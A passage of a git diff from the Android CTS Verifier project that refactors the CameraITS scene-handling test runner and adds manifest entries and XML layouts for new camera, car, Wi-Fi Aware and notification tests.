 PROC_TIMEOUT_CODE = -101  # terminated process return -process_id
 PROC_TIMEOUT_TIME = 900  # timeout in seconds for a process (15 minutes)
@@ -51,21 +50,63 @@
 VGA_HEIGHT = 480
 VGA_WIDTH = 640
 
-# Not yet mandated tests
+# All possible scenes
+# Notes on scene names:
+#   scene*_1/2/... are same scene split to load balance run times for scenes
+#   scene*_a/b/... are similar scenes that share one or more tests
+ALL_SCENES = ['scene0', 'scene1_1', 'scene1_2', 'scene2_a', 'scene2_b',
+              'scene2_c', 'scene3', 'scene4', 'scene5', 'sensor_fusion']
+
+# Scenes that are logically grouped and can be called as group
+GROUPED_SCENES = {
+        'scene1': ['scene1_1', 'scene1_2'],
+        'scene2': ['scene2_a', 'scene2_b', 'scene2_c']
+}
+
+# Scenes that can be automated through tablet display
+AUTO_SCENES = ['scene0', 'scene1_1', 'scene1_2', 'scene2_a', 'scene2_b',
+               'scene2_c', 'scene3', 'scene4']
+
+SCENE_REQ = {
+        'scene0': None,
+        'scene1_1': 'A grey card covering at least the middle 30% of the scene',
+        'scene1_2': 'A grey card covering at least the middle 30% of the scene',
+        'scene2_a': 'The picture in tests/scene2_a.pdf with 3 faces',
+        'scene2_b': 'The picture in tests/scene2_b.pdf with 3 faces',
+        'scene2_c': 'The picture in tests/scene2_c.pdf with 3 faces',
+        'scene3': 'The ISO 12233 chart',
+        'scene4': 'A specific test page of a circle covering at least the '
+                  'middle 50% of the scene. See CameraITS.pdf section 2.3.4 '
+                  'for more details',
+        'scene5': 'Capture images with a diffuser attached to the camera. See '
+                  'CameraITS.pdf section 2.3.4 for more details',
+        'sensor_fusion': 'Rotating checkboard pattern. See '
+                         'sensor_fusion/SensorFusion.pdf for detailed '
+                         'instructions.\nNote that this test will be skipped '
+                         'on devices not supporting REALTIME camera timestamp.'
+}
+
+SCENE_EXTRA_ARGS = {
+        'scene5': ['doAF=False']
+}
+
+# Not yet mandated tests ['test', first_api_level mandatory]
+# ie. ['test_test_patterns', 28] is MANDATED for first_api_level >= 28
 NOT_YET_MANDATED = {
         'scene0': [
-                'test_test_patterns',
-                'test_tonemap_curve'
+                ['test_test_patterns', 28],
+                ['test_tonemap_curve', 28]
         ],
-        'scene1': [
-                'test_ae_precapture_trigger',
-                'test_channel_saturation'
+        'scene1_1': [
+                ['test_ae_precapture_trigger', 28],
+                ['test_channel_saturation', 29]
         ],
-        'scene2': [
-                'test_auto_per_frame_control'
+        'scene1_2': [],
+        'scene2_a': [
+                ['test_auto_per_frame_control', NOT_YET_MANDATED_ALL]
         ],
-        'scene2b': [],
-        'scene2c': [],
+        'scene2_b': [],
+        'scene2_c': [],
         'scene3': [],
         'scene4': [],
         'scene5': [],
@@ -78,21 +119,24 @@
                 'test_burst_capture',
                 'test_metadata',
                 'test_read_write',
-                'test_sensor_events'
+                'test_sensor_events',
+                'test_unified_timestamps'
         ],
-        'scene1': [
+        'scene1_1': [
                 'test_exposure',
                 'test_dng_noise_model',
                 'test_linearity',
+        ],
+        'scene1_2': [
                 'test_raw_exposure',
                 'test_raw_sensitivity'
         ],
-        'scene2': [
+        'scene2_a': [
                 'test_faces',
                 'test_num_faces'
         ],
-        'scene2b': [],
-        'scene2c': [],
+        'scene2_b': [],
+        'scene2_c': [],
         'scene3': [],
         'scene4': [
                 'test_aspect_ratio_and_crop'
@@ -103,6 +147,67 @@
         ]
 }
 
+# Tests run in more than 1 scene.
+# List is created of type ['scene_source', 'test_to_be_repeated']
+# for the test run in current scene.
+REPEATED_TESTS = {
+        'scene0': [],
+        'scene1_1': [],
+        'scene1_2': [],
+        'scene2_a': [],
+        'scene2_b': [
+                ['scene2_a', 'test_num_faces']
+        ],
+        'scene2_c': [
+                ['scene2_a', 'test_num_faces']
+        ],
+        'scene3': [],
+        'scene4': [],
+        'scene5': [],
+        'sensor_fusion': []
+}
+
+
+def determine_not_yet_mandated_tests(device_id):
+    """Determine from NEW_YET_MANDATED & phone info not_yet_mandated tests.
+
+    Args:
+        device_id:      string of device id number
+
+    Returns:
+        dict of not yet mandated tests
+    """
+    # initialize not_yet_mandated
+    not_yet_mandated = {}
+    for scene in ALL_SCENES:
+        not_yet_mandated[scene] = []
+
+    # Determine first API level for device
+    first_api_level = its.device.get_first_api_level(device_id)
+
+    # Determine which scenes are not yet mandated for first api level
+    for scene, tests in NOT_YET_MANDATED.items():
+        for test in tests:
+            if test[1] >= first_api_level:
+                not_yet_mandated[scene].append(test[0])
+    return not_yet_mandated
+
+
+def expand_scene(scene, scenes):
+    """Expand a grouped scene and append its sub_scenes to scenes.
+
+    Args:
+        scene:      scene in GROUPED_SCENES dict
+        scenes:     list of scenes to append to
+
+    Returns:
+        updated scenes
+    """
+    print 'Expanding %s to %s.' % (scene, str(GROUPED_SCENES[scene]))
+    for sub_scene in GROUPED_SCENES[scene]:
+        scenes.append(sub_scene)
+
+
 def run_subprocess_with_timeout(cmd, fout, ferr, outdir):
     """Run subprocess with a timeout.
 
@@ -191,50 +296,24 @@
                  camera Ids. Ex: "camera=0,1" or "camera=1"
         device:  device id for adb
         scenes:  the test scene(s) to be executed. Use comma to separate
-                 multiple scenes. Ex: "scenes=scene0,scene1" or
-                 "scenes=0,1,sensor_fusion" (sceneX can be abbreviated by X
-                 where X is a integer)
-        chart:   [Experimental] another android device served as test chart
-                 display. When this argument presents, change of test scene
+                 multiple scenes. Ex: "scenes=scene0,scene1_1" or
+                 "scenes=0,1_1,sensor_fusion" (sceneX can be abbreviated by X
+                 where X is scene name minus 'scene')
+        chart:   another android device served as test chart display.
+                 When this argument presents, change of test scene
                  will be handled automatically. Note that this argument
                  requires special physical/hardware setup to work and may not
                  work on all android devices.
         result:  Device ID to forward results to (in addition to the device
                  that the tests are running on).
-        rot_rig: [Experimental] ID of the rotation rig being used (formatted as
+        rot_rig: ID of the rotation rig being used (formatted as
                  "<vendor ID>:<product ID>:<channel #>" or "default")
         tmp_dir: location of temp directory for output files
         skip_scene_validation: force skip scene validation. Used when test scene
                  is setup up front and don't require tester validation.
-        dist:    [Experimental] chart distance in cm.
+        dist:    chart distance in cm.
     """
 
-    all_scenes = ["scene0", "scene1", "scene2", "scene2b", "scene2c", "scene3", "scene4", "scene5",
-                  "sensor_fusion"]
-
-    auto_scenes = ["scene0", "scene1", "scene2", "scene2b", "scene2c", "scene3", "scene4"]
-
-    scene_req = {
-        "scene0": None,
-        "scene1": "A grey card covering at least the middle 30% of the scene",
-        "scene2": "A picture containing human faces",
-        "scene2b": "A picture containing human faces",
-        "scene2c": "A picture containing human faces",
-        "scene3": "The ISO 12233 chart",
-        "scene4": "A specific test page of a circle covering at least the "
-                  "middle 50% of the scene. See CameraITS.pdf section 2.3.4 "
-                  "for more details",
-        "scene5": "Capture images with a diffuser attached to the camera. See "
-                  "CameraITS.pdf section 2.3.4 for more details",
-        "sensor_fusion": "Rotating checkboard pattern. See "
-                         "sensor_fusion/SensorFusion.pdf for detailed "
-                         "instructions.\nNote that this test will be skipped "
-                         "on devices not supporting REALTIME camera timestamp."
-    }
-    scene_extra_args = {
-        "scene5": ["doAF=False"]
-    }
-
     camera_id_combos = []
     scenes = []
     chart_host_id = None
@@ -275,7 +354,7 @@
     merge_result_switch = result_device_id is not None
 
     # Run through all scenes if user does not supply one
-    possible_scenes = auto_scenes if auto_scene_switch else all_scenes
+    possible_scenes = AUTO_SCENES if auto_scene_switch else ALL_SCENES
     if not scenes:
         scenes = possible_scenes
     else:
@@ -285,14 +364,19 @@
         for s in scenes:
             if s in possible_scenes:
                 temp_scenes.append(s)
+            elif GROUPED_SCENES.has_key(s):
+                expand_scene(s, temp_scenes)
             else:
                 try:
                     # Try replace "X" to "sceneX"
                     scene_str = "scene" + s
-                    if scene_str not in possible_scenes:
+                    if scene_str in possible_scenes:
+                        temp_scenes.append(scene_str)
+                    elif GROUPED_SCENES.has_key(scene_str):
+                        expand_scene(scene_str, temp_scenes)
+                    else:
                         valid_scenes = False
                         break
-                    temp_scenes.append(scene_str)
                 except ValueError:
                     valid_scenes = False
                     break
@@ -300,7 +384,8 @@
         if not valid_scenes:
             print 'Unknown scene specified:', s
             assert False
-        scenes = temp_scenes
+        # assign temp_scenes back to scenes and remove duplicates
+        scenes = sorted(set(temp_scenes), key=temp_scenes.index)
 
     # Make output directories to hold the generated files.
     topdir = tempfile.mkdtemp(dir=tmp_dir)
@@ -395,11 +480,11 @@
         # Initialize test results
         results = {}
         result_key = ItsSession.RESULT_KEY
-        for s in all_scenes:
+        for s in ALL_SCENES:
             results[s] = {result_key: ItsSession.RESULT_NOT_EXECUTED}
 
         camera_fov = calc_camera_fov(id_combo.id, id_combo.sub_id)
-        id_combo_string = id_combo.id;
+        id_combo_string = id_combo.id
         has_hidden_sub_camera = id_combo.sub_id is not None
         if has_hidden_sub_camera:
             id_combo_string += ":" + id_combo.sub_id
@@ -414,11 +499,15 @@
 
         tot_tests = []
         tot_pass = 0
+        not_yet_mandated = determine_not_yet_mandated_tests(device_id)
         for scene in scenes:
             skip_code = None
-            tests = [(s[:-3], os.path.join("tests", scene, s))
-                     for s in os.listdir(os.path.join("tests", scene))
-                     if s[-3:] == ".py" and s[:4] == "test"]
+            tests = [(s[:-3], os.path.join('tests', scene, s))
+                     for s in os.listdir(os.path.join('tests', scene))
+                     if s[-3:] == '.py' and s[:4] == 'test']
+            if REPEATED_TESTS[scene]:
+                for t in REPEATED_TESTS[scene]:
+                    tests.append((t[1], os.path.join('tests', t[0], t[1]+'.py')))
             tests.sort()
             tot_tests.extend(tests)
 
@@ -428,7 +517,7 @@
             num_not_mandated_fail = 0
             numfail = 0
             validate_switch = True
-            if scene_req[scene] is not None:
+            if SCENE_REQ[scene] is not None:
                 out_path = os.path.join(topdir, id_combo_string, scene+".jpg")
                 out_arg = "out=" + out_path
                 if scene == 'sensor_fusion':
@@ -451,8 +540,8 @@
                 else:
                     # Skip scene validation under certain conditions
                     if validate_switch and not merge_result_switch:
-                        scene_arg = 'scene=' + scene_req[scene]
-                        extra_args = scene_extra_args.get(scene, [])
+                        scene_arg = 'scene=' + SCENE_REQ[scene]
+                        extra_args = SCENE_EXTRA_ARGS.get(scene, [])
                         cmd = ['python',
                                os.path.join(os.getcwd(),
                                             'tools/validate_scene.py'),
@@ -536,7 +625,7 @@
                 elif test_code == SKIP_RET_CODE:
                     retstr = "SKIP "
                     numskip += 1
-                elif test_code != 0 and testname in NOT_YET_MANDATED[scene]:
+                elif test_code != 0 and testname in not_yet_mandated[scene]:
                     retstr = "FAIL*"
                     num_not_mandated_fail += 1
                 else:
diff --git a/apps/CtsVerifier/Android.mk b/apps/CtsVerifier/Android.mk
index af6dc5b..39ece59 100644
--- a/apps/CtsVerifier/Android.mk
+++ b/apps/CtsVerifier/Android.mk
@@ -34,7 +34,6 @@
 LOCAL_STATIC_JAVA_LIBRARIES := android-ex-camera2 \
                                compatibility-common-util-devicesidelib \
                                cts-sensors-tests \
-                               cts-location-tests \
                                cts-camera-performance-tests \
                                ctstestrunner-axt \
                                apache-commons-math \
@@ -56,6 +55,7 @@
 LOCAL_JAVA_LIBRARIES += android.test.runner.stubs
 LOCAL_JAVA_LIBRARIES += android.test.base.stubs
 LOCAL_JAVA_LIBRARIES += android.test.mock.stubs
+LOCAL_JAVA_LIBRARIES += android.car
 LOCAL_JAVA_LIBRARIES += voip-common
 
 LOCAL_PACKAGE_NAME := CtsVerifier
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index 5ee360c..803165d 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -22,6 +22,8 @@
 
     <uses-sdk android:minSdkVersion="19" android:targetSdkVersion="29"/>
 
+    <uses-permission android:name="android.car.permission.CAR_EXTERIOR_ENVIRONMENT" />
+    <uses-permission android:name="android.car.permission.CAR_POWERTRAIN" />
     <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION" />
     <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
     <uses-permission android:name="android.permission.ACCESS_LOCATION_EXTRA_COMMANDS"/>
@@ -85,11 +87,6 @@
             android:requestLegacyExternalStorage="true"
             android:theme="@android:style/Theme.DeviceDefault">
 
-        <provider android:name="android.location.cts.MmsPduProvider"
-                android:authorities="emergencycallverifier"
-                android:grantUriPermissions="true" />
-        <uses-library android:name="android.test.runner" />
-
         <meta-data android:name="SuiteName" android:value="CTS_VERIFIER" />
 
         <meta-data android:name="android.telephony.HIDE_VOICEMAIL_SETTINGS_MENU"
@@ -159,6 +156,17 @@
             android:theme="@style/OverlayTheme"
             android:label="Overlaying Activity"/>
 
+        <activity
+            android:name=".battery.BatterySaverTestActivity"
+            android:label="@string/battery_saver_test"
+            android:configChanges="keyboardHidden|orientation|screenSize">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+            <meta-data android:name="test_category" android:value="@string/test_category_other" />
+        </activity>
+
         <activity android:name=".forcestop.RecentTaskRemovalTestActivity"
                   android:label="@string/remove_from_recents_test"
                   android:configChanges="keyboardHidden|orientation|screenSize">
@@ -1968,6 +1976,19 @@
             <meta-data android:name="test_category" android:value="@string/test_category_camera" />
             <meta-data android:name="test_required_features" android:value="android.hardware.camera.any" />
         </activity>
+
+        <activity android:name=".camera.bokeh.CameraBokehActivity"
+                  android:label="@string/camera_bokeh_test"
+                  android:configChanges="keyboardHidden|screenSize"
+                  android:screenOrientation="landscape">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+            <meta-data android:name="test_category" android:value="@string/test_category_camera" />
+            <meta-data android:name="test_required_features" android:value="android.hardware.camera.any" />
+        </activity>
+
         <activity android:name=".usb.accessory.UsbAccessoryTestActivity"
                 android:label="@string/usb_accessory_test"
                 android:configChanges="keyboardHidden|orientation|screenSize">
@@ -2088,12 +2109,26 @@
             </intent-filter>
         </receiver>
 
+        <receiver android:name=".notifications.AutomaticZenRuleStatusReceiver">
+            <intent-filter>
+                <action android:name="android.app.action.AUTOMATIC_ZEN_RULE_STATUS_CHANGED"/>
+            </intent-filter>
+        </receiver>
+
         <activity android:name=".notifications.ConditionProviderVerifierActivity"
                   android:label="@string/cp_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.cts.intent.category.MANUAL_TEST" />
             </intent-filter>
+            <intent-filter>
+                <action android:name="android.app.action.AUTOMATIC_ZEN_RULE" />
+            </intent-filter>
+            <meta-data android:name="android.service.zen.automatic.ruleType"
+                       android:value="@string/cp_rule_type" />
+            <meta-data android:name="android.service.zen.automatic.ruleInstanceLimit"
+                       android:value="2" />
+
             <meta-data android:name="test_category" android:value="@string/test_category_notifications" />
             <meta-data android:name="test_excluded_features"
                        android:value="android.hardware.type.automotive:android.hardware.type.television:android.software.leanback:android.hardware.type.watch" />
@@ -2123,8 +2158,6 @@
 
         <activity android:name=".notifications.BubbleActivity"
                   android:label="@string/bubble_activity_title"
-                  android:allowEmbedded="true"
-                  android:documentLaunchMode="always"
                   android:resizeableActivity="true">
         </activity>
 
@@ -2381,6 +2414,14 @@
                   android:label="@string/aware_data_path_passphrase_passive_subscribe"
                   android:configChanges="keyboardHidden|orientation|screenSize" />
 
+        <activity android:name=".wifiaware.DataPathPmkUnsolicitedPublishTestActivity"
+                  android:label="@string/aware_data_path_pmk_unsolicited_publish"
+                  android:configChanges="keyboardHidden|orientation|screenSize" />
+
+        <activity android:name=".wifiaware.DataPathPmkPassiveSubscribeTestActivity"
+                  android:label="@string/aware_data_path_pmk_passive_subscribe"
+                  android:configChanges="keyboardHidden|orientation|screenSize" />
+
         <activity android:name=".wifiaware.DataPathOpenSolicitedPublishTestActivity"
                   android:label="@string/aware_data_path_open_solicited_publish"
                   android:configChanges="keyboardHidden|orientation|screenSize" />
@@ -2397,6 +2438,14 @@
                   android:label="@string/aware_data_path_passphrase_active_subscribe"
                   android:configChanges="keyboardHidden|orientation|screenSize" />
 
+        <activity android:name=".wifiaware.DataPathPmkSolicitedPublishTestActivity"
+                  android:label="@string/aware_data_path_pmk_solicited_publish"
+                  android:configChanges="keyboardHidden|orientation|screenSize" />
+
+        <activity android:name=".wifiaware.DataPathPmkActiveSubscribeTestActivity"
+                  android:label="@string/aware_data_path_pmk_active_subscribe"
+                  android:configChanges="keyboardHidden|orientation|screenSize" />
+
         <activity android:name=".wifiaware.DataPathOobOpenResponderTestActivity"
                   android:label="@string/aware_data_path_oob_open_responder"
                   android:configChanges="keyboardHidden|orientation|screenSize" />
@@ -3525,6 +3574,42 @@
             </intent-filter>
         </activity-alias>
 
+        <activity android:name=".car.GearSelectionTestActivity"
+                android:label="@string/gear_selection_test">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+            <meta-data android:name="test_category" android:value="@string/test_category_car" />
+            <meta-data
+                android:name="test_required_features"
+                android:value="android.hardware.type.automotive"/>
+        </activity>
+
+        <activity android:name=".car.NightModeTestActivity"
+                android:label="@string/night_mode_test">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+            <meta-data android:name="test_category" android:value="@string/test_category_car" />
+            <meta-data
+                android:name="test_required_features"
+                android:value="android.hardware.type.automotive"/>
+        </activity>
+
+        <activity android:name=".car.ParkingBrakeOnTestActivity"
+                android:label="@string/parking_brake_on_test">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+            <meta-data android:name="test_category" android:value="@string/test_category_car" />
+            <meta-data
+                android:name="test_required_features"
+                android:value="android.hardware.type.automotive"/>
+        </activity>
+
         <!-- 6DoF sensor test -->
         <activity
                 android:name="com.android.cts.verifier.sensors.sixdof.Activities.StartActivity"
diff --git a/apps/CtsVerifier/proguard.flags b/apps/CtsVerifier/proguard.flags
index 85f378e..62eadbe 100644
--- a/apps/CtsVerifier/proguard.flags
+++ b/apps/CtsVerifier/proguard.flags
@@ -14,12 +14,12 @@
 -keepclassmembers class * extends com.android.cts.verifier.location.BaseGnssTestActivity {
     public <methods>;
 }
--keepclassmembers class * extends android.location.cts.GnssTestCase {
+-keepclassmembers class * extends android.location.cts.common.GnssTestCase {
     public <methods>;
 }
 
 # ensure we keep public camera test methods, these are needed at runtime
--keepclassmembers class * extends android.hardware.camera2.cts.testcases.Camera2AndroidTestCase {
+-keepclassmembers class * extends android.hardware.camera2.cts.testcases.Camera2AndroidBasicTestCase {
     public <methods>;
 }
 
diff --git a/apps/CtsVerifier/res/layout/cf_format_list_item.xml b/apps/CtsVerifier/res/layout/camera_list_item.xml
similarity index 100%
rename from apps/CtsVerifier/res/layout/cf_format_list_item.xml
rename to apps/CtsVerifier/res/layout/camera_list_item.xml
diff --git a/apps/CtsVerifier/res/layout/camera_video.xml b/apps/CtsVerifier/res/layout/camera_video.xml
index 5dd28ab..e38d9a7 100644
--- a/apps/CtsVerifier/res/layout/camera_video.xml
+++ b/apps/CtsVerifier/res/layout/camera_video.xml
@@ -101,7 +101,7 @@
                     android:id="@+id/next_button"
                     android:layout_height="wrap_content"
                     android:layout_width="wrap_content"
-                    android:text="@string/cf_next_button" />
+                    android:text="@string/next_button_text" />
             </LinearLayout>
 
             <LinearLayout
diff --git a/apps/CtsVerifier/res/layout/cb_main.xml b/apps/CtsVerifier/res/layout/cb_main.xml
new file mode 100644
index 0000000..67ae119
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/cb_main.xml
@@ -0,0 +1,101 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:orientation="vertical"
+    android:layout_width="fill_parent"
+    android:layout_height="fill_parent">
+
+    <LinearLayout
+        android:orientation="horizontal"
+        android:layout_width="fill_parent"
+        android:layout_height="0dp"
+        android:layout_weight="1" >
+
+        <LinearLayout
+            android:orientation="vertical"
+            android:layout_width="0dp"
+            android:layout_height="fill_parent"
+            android:layout_weight="3" >
+
+            <TextureView
+                android:id="@+id/preview_view"
+                android:layout_height="0dp"
+                android:layout_width="fill_parent"
+                android:layout_weight="3" />
+            <TextView
+                android:id="@+id/preview_label"
+                android:layout_height="wrap_content"
+                android:layout_width="fill_parent"
+                android:padding="2dp"
+                android:textSize="16sp"
+                android:gravity="center" />
+
+        </LinearLayout>
+        <LinearLayout
+            android:orientation="vertical"
+            android:layout_width="0dp"
+            android:layout_height="fill_parent"
+            android:layout_weight="3" >
+
+            <ImageView
+                android:id="@+id/image_view"
+                android:layout_height="0dp"
+                android:layout_width="fill_parent"
+                android:layout_weight="3" />
+            <TextView
+                android:id="@+id/image_label"
+                android:layout_height="wrap_content"
+                android:layout_width="fill_parent"
+                android:padding="2dp"
+                android:textSize="16sp"
+                android:gravity="center" />
+
+        </LinearLayout>
+
+        <LinearLayout
+            android:orientation="vertical"
+            android:layout_width="0dp"
+            android:layout_height="fill_parent"
+            android:layout_weight="2" >
+
+            <Spinner
+                android:id="@+id/cameras_selection"
+                android:layout_width="fill_parent"
+                android:layout_height="wrap_content"/>
+
+            <TextView
+                android:id="@+id/test_label"
+                android:layout_height="wrap_content"
+                android:layout_width="fill_parent"
+                android:padding="2dp"
+                android:textSize="16sp"
+                android:gravity="left" />
+
+            <Button
+                android:id="@+id/next_button"
+                android:layout_height="wrap_content"
+                android:layout_width="wrap_content"
+                android:text="@string/next_button_text" />
+
+        </LinearLayout>
+
+    </LinearLayout>
+
+    <include layout="@layout/pass_fail_buttons" />
+
+</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/cf_main.xml b/apps/CtsVerifier/res/layout/cf_main.xml
index 8a4fb7f..9a6c9a4 100644
--- a/apps/CtsVerifier/res/layout/cf_main.xml
+++ b/apps/CtsVerifier/res/layout/cf_main.xml
@@ -91,7 +91,7 @@
                 android:id="@+id/next_button"
                 android:layout_height="wrap_content"
                 android:layout_width="wrap_content"
-                android:text="@string/cf_next_button" />
+                android:text="@string/next_button_text" />
 
         </LinearLayout>
 
diff --git a/apps/CtsVerifier/res/layout/ci_format_list_item.xml b/apps/CtsVerifier/res/layout/ci_format_list_item.xml
deleted file mode 100644
index 8196bbf..0000000
--- a/apps/CtsVerifier/res/layout/ci_format_list_item.xml
+++ /dev/null
@@ -1,23 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-
-<!-- Copyright (C) 2012 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<TextView xmlns:android="http://schemas.android.com/apk/res/android"
-    android:layout_width="fill_parent"
-    android:layout_height="fill_parent"
-    android:padding="10dp"
-    android:textSize="16sp"
-/>
diff --git a/apps/CtsVerifier/res/layout/co_format_list_item.xml b/apps/CtsVerifier/res/layout/co_format_list_item.xml
deleted file mode 100644
index 8196bbf..0000000
--- a/apps/CtsVerifier/res/layout/co_format_list_item.xml
+++ /dev/null
@@ -1,23 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-
-<!-- Copyright (C) 2012 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<TextView xmlns:android="http://schemas.android.com/apk/res/android"
-    android:layout_width="fill_parent"
-    android:layout_height="fill_parent"
-    android:padding="10dp"
-    android:textSize="16sp"
-/>
diff --git a/apps/CtsVerifier/res/layout/gear_selection_test.xml b/apps/CtsVerifier/res/layout/gear_selection_test.xml
new file mode 100644
index 0000000..20508c1
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/gear_selection_test.xml
@@ -0,0 +1,75 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+        android:orientation="vertical"
+        android:layout_width="match_parent"
+        android:layout_height="match_parent">
+
+
+    <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+        android:layout_width="match_parent"
+        android:layout_height="0dp"
+        android:layout_weight="1"
+        android:orientation="horizontal">
+
+    <TextView
+          android:id="@+id/expected_gear_selection_title"
+          android:layout_width="0dp"
+          android:layout_weight="1"
+          android:layout_height="wrap_content"
+          android:gravity="center"
+          android:text="@string/expected_gear_selection_title"
+          android:textSize="50dip" />
+
+    <TextView
+          android:id="@+id/current_gear_selection_title"
+          android:layout_width="0dp"
+          android:layout_weight="1"
+          android:layout_height="wrap_content"
+          android:gravity="center"
+          android:text="@string/current_gear_selection_title"
+          android:textSize="50dip" />
+
+
+    </LinearLayout>
+
+    <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+        android:layout_width="match_parent"
+        android:layout_height="0dp"
+        android:layout_weight="2"
+        android:orientation="horizontal">
+
+    <TextView
+          android:id="@+id/expected_gear_selection"
+          android:layout_width="0dp"
+          android:layout_weight="1"
+          android:layout_height="wrap_content"
+          android:gravity="center"
+          android:textSize="75dip" />
+
+    <TextView
+          android:id="@+id/current_gear_selection"
+          android:layout_width="0dp"
+          android:layout_weight="1"
+          android:layout_height="wrap_content"
+          android:gravity="center"
+          android:textSize="75dip" />
+
+    </LinearLayout>
+
+    <include layout="@layout/pass_fail_buttons" />
+
+</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/iva_pass_fail_item.xml b/apps/CtsVerifier/res/layout/iva_pass_fail_item.xml
new file mode 100644
index 0000000..4bf5b63
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/iva_pass_fail_item.xml
@@ -0,0 +1,78 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+     Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="wrap_content" >
+
+    <ImageView
+        android:id="@+id/nls_status"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:layout_alignParentLeft="true"
+        android:layout_alignParentTop="true"
+        android:layout_marginTop="10dip"
+        android:contentDescription="@string/pass_button_text"
+        android:padding="10dip"
+        android:src="@drawable/fs_indeterminate" />
+
+    <TextView
+        android:id="@+id/nls_instructions"
+        style="@style/InstructionsSmallFont"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:layout_alignParentRight="true"
+        android:layout_alignParentTop="true"
+        android:layout_toRightOf="@id/nls_status"
+        android:text="@string/nls_enable_service" />
+
+    <Button
+        android:id="@+id/iva_action_button_pass"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:layout_alignParentRight="true"
+        android:layout_below="@id/nls_instructions"
+        android:layout_marginLeft="20dip"
+        android:layout_marginRight="20dip"
+        android:layout_toRightOf="@id/nls_status"
+        android:text="@string/iva_pass"
+        android:onClick="actionPassed" />
+    <Button
+        android:id="@+id/iva_action_button_fail"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:layout_alignParentRight="true"
+        android:layout_toRightOf="@id/nls_status"
+        android:layout_below="@id/iva_action_button_pass"
+        android:layout_marginLeft="20dip"
+        android:layout_marginRight="20dip"
+        android:onClick="actionFailed"
+        android:text="@string/iva_fail" />
+
+    <Button
+        android:id="@+id/nls_action_button"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:layout_alignParentRight="true"
+        android:layout_below="@id/nls_instructions"
+        android:layout_marginLeft="20dip"
+        android:layout_marginRight="20dip"
+        android:layout_toRightOf="@id/nls_status"
+        android:onClick="actionPressed"
+        android:visibility="gone"
+        android:text="@string/nls_start_settings" />
+
+</RelativeLayout>
\ No newline at end of file
